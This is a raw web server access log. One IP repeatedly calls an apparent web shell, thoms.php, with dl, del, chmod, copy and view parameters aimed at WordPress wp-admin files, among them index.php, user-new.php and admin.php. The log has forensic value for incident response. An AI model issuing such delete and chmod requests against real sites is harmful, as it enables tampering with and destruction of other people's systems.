45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14049 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?dl=options-head.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /betcity.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsite-health-info.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsite-health-info.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?dl=credits.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /betcity.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17557 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /betcity.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22464 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /betcity.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?chmod=install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?dl=options-writing.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?del=user-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?dl=contribute.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28899 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13342 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:00 -0400] "GET /thoms.php?del=options-discussion.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28874 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /betcity.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21217 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?dl=options-privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsite-health.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsite-health.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?del=my-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?dl=comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?chmod=js&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=js&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?chmod=admin-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?chmod=options-connectors.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?dl=network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:01 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fpost-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fpost-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?chmod=media-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?chmod=font-library.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmedia-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmedia-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /betcity.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?del=edit-tag-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 12025 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?del=site-health-info.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /betcity.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25681 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:02 -0400] "GET /thoms.php?dl=async-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28895 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /betcity.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17276 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?dl=update-core.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /betcity.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?chmod=widgets.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?chmod=admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /betcity.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsite-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsite-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15638 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:03 -0400] "GET /thoms.php?chmod=credits.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?dl=install-helper.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28879 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?del=options-connectors.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28905 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?del=edit-comments.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12657 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?chmod=ms-themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /betcity.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-footer.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-footer.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15006 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13462 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:04 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=index.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-delete-site.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-delete-site.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /betcity.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?chmod=user-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /betcity.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 28180 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?del=options-reading.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28899 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13994 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?del=site-health.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcustom-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcustom-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
